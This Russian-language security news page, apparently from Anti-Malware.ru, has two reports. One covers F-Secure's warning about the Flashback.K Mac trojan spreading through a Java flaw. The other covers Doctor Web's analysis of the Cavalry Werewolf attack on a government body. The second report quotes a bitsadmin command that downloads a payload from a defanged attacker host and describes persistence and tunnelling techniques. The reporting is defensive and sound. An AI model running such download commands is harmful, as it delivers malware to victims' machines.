Пользователям Mac OS X грозит новый вариант троянца Flashback

Пользователям Mac OS X грозит новый вариант троянца Flashback

Финский антивирусный вендор F-Secure сегодня предупредил о новой Java-уязвимости, угрожающей пользователям продуктов компании Apple. Согласно данным F-Secure, компьютеры Mac, работающие под управлением последней Mac OS X могут заразиться известным вредоносным программным обеспечением Flashback, однако в данном случае речь идет о новой версии Flashback.



Напомним, что Flashback - это Mac-троянец, впервые обнаруженный в сентябре 2011 года. Первые варианты этого кода были представлены как инсталляторы Flash Player (естественно, поддельные), но сейчас этот троянец сменил обличие, а также функционал и методы распространения. В феврале несколько антивирусных компаний сообщили о распространении нового вида Flashback при помощи Java-эксплоитов, что означает отсутствие необходимости взаимодействия с пользователем, сообщает cybersecurity.

Использованные Java-уязвимости были датированы 2009-11 годами, поэтому пользователи с последними версиями Java были защищены от воздействия вредоносного кода.

Однако последний вариант Flashback.K, распространяющийся при помощи ранее неизвестной уязвимости в Java, опять ставит пользователей под удар. Строго говоря, речь идет об уязвимости CVE-2012-0507, которая со стороны Oracle для Windows была закрыта два месяца назад, но так как Apple сама распространяет Java под Mac, то и за выпуски этой среды под Mac OS X отвечает тоже она.

Ранее многие антивирусные компании неоднократно заявляли, что Apple медлит с выпуском обновлений для ее варианта Java, но компания не вняла этим словам, чем и воспользовались авторы Mac-троянца.

Согласно описанию F-Secure, троянец распространяется с нескольких сайтов, которые должны быть открыты через Safari для запуска Java и эксплоита. Единственное, что снижает опасность заражения, так это необходимость ввода административного пароля со стороны пользователя, так как в противном случае Flashback не получит доступ к файловой системе.

В качестве временного решения (кроме использования актуального антивируса) компания F-Secure рекомендует блокировку плагина Java, тем более, что в Mac он используется крайне редко.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Группировка Cavalry Werewolf взломала сеть госоргана с помощью бэкдоров

В июле 2025 года к специалистам компании «Доктор Веб» обратился клиент из госсектора с жалобой на рассылку подозрительных писем с корпоративного почтового ящика. Расследование показало: перед ними была целевая кампания кибергруппировки, которую аналитики идентифицировали как Cavalry Werewolf.

Цель атаки — сбор конфиденциальной информации и картирование сети для дальнейшего закрепления внутри инфраструктуры.

Начали злоумышленники банально, но эффективно — с фишинга. В качестве «приманки» приходили архивы с паролем и вложенным бэкдором BackDoor.ShellNET.1 (основан на открытом проекте Reverse-Shell-CS). Файлы маскировались под служебные записки и другие официальные документы — имена были соответствующие, чтобы снизить бдительность получателя.

 

После запуска BackDoor.ShellNET.1 атакующие использовали стандартный для Windows инструмент bitsadmin для скачивания дополнительных полезных нагрузок (пример: bitsadmin /transfer www /download hxxp://…/winpot.exe). Среди загруженных модулей оказался стилер Trojan.FileSpyNET.5, который массово тянул документы (.doc/.docx/.xlsx/.pdf), текстовые файлы и изображения. Для скрытого доступа применяли BackDoor.Tunnel.41 (вариант ReverseSocks5) — с его помощью создавались SOCKS5-туннели и обеспечивалось скрытое подключение к заражённому ПК.

Дальше — больше: специалисты «Доктор Веб» обнаружили целый набор инструментов, как собственных, так и основанных на open-source. В арсенале группировки — скриптовые загрузчики (например, BAT.DownLoader.1138), «упакованные» трояны (Trojan.Packed2.49708, Trojan.Siggen31.54011 и т. п.), бэкдоры, управляемые через телеграм-ботов (BackDoor.Siggen2.5463, BackDoor.ShellNET.2), а также прокси-модули типа BackDoor.ReverseProxy.1. Некоторые варианты внедряли полезную нагрузку в легитимные процессы — например, инжектировали данные в aspnet_compiler.exe, чтобы бэкдор выполнялся в контексте доверенного приложения.

 

Интересно, что злоумышленники активно пользуются открытими решениями: либо берут код «как есть», либо модифицируют его под свои нужды. Для доставки следующей волны вредоносов они используют стандартные утилиты — PowerShell, bitsadmin, curl — а для сохранения присутствия в системе модифицируют автозагрузку через реестр (HKCU\...\Run) или ставят исполняемые файлы в C:\users\public\pictures и похожие публичные папки.

Атака Cavalry Werewolf показала типичную для целевых кампаний логику: разведка (whoami, ipconfig, просмотр директорий), проверка прокси и сети, затем загрузка инструментов и закрепление. Также злоумышленники могли позже использовать скомпрометированные устройства для перехода в другие сети — например, при смене работы жертвы — и разворачивать дальнейшие атаки через доверенные каналы.

Отдельные особенности группировки, которые отмечают аналитики «Доктор Веб»: предпочтение к open-source-инструментам, частое использование обратных шеллов и SOCKS-туннелей, внедрение вреда в видимо «безобидные» программы и управление через Telegram API. Фишинговые рассылки имитируют сообщения от государственных органов — это снижает подозрительность целевой аудитории и повышает шансы успешной компрометации.

Рекомендации для организаций — стандартный, но действенный набор мер: усилить фильтрацию почты и блокировку подозрительных вложений, ограничить возможность запуска bitsadmin/PowerShell неподписанных скриптов, включить контроль исполнения (application control) и EDR, регулярно проверять целевые публичные папки, применять многофакторную аутентификацию и оперативно реагировать на подозрительные соединения с неизвестными C2-адресами. При обнаружении инцидента — немедленно изолировать пострадавшие хосты и провести полноценную форензику, чтобы выявить степень компрометации.

Расследование «Доктор Веб» — ещё одно напоминание: даже крупные организации с государственным уровнем защиты уязвимы к грамотному фишингу и тому, что за ним следует. В современных целевых атаках именно сочетание человеческой ошибки и хорошо отлаженных инструментов злоумышленников делает наибольший ущерб.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru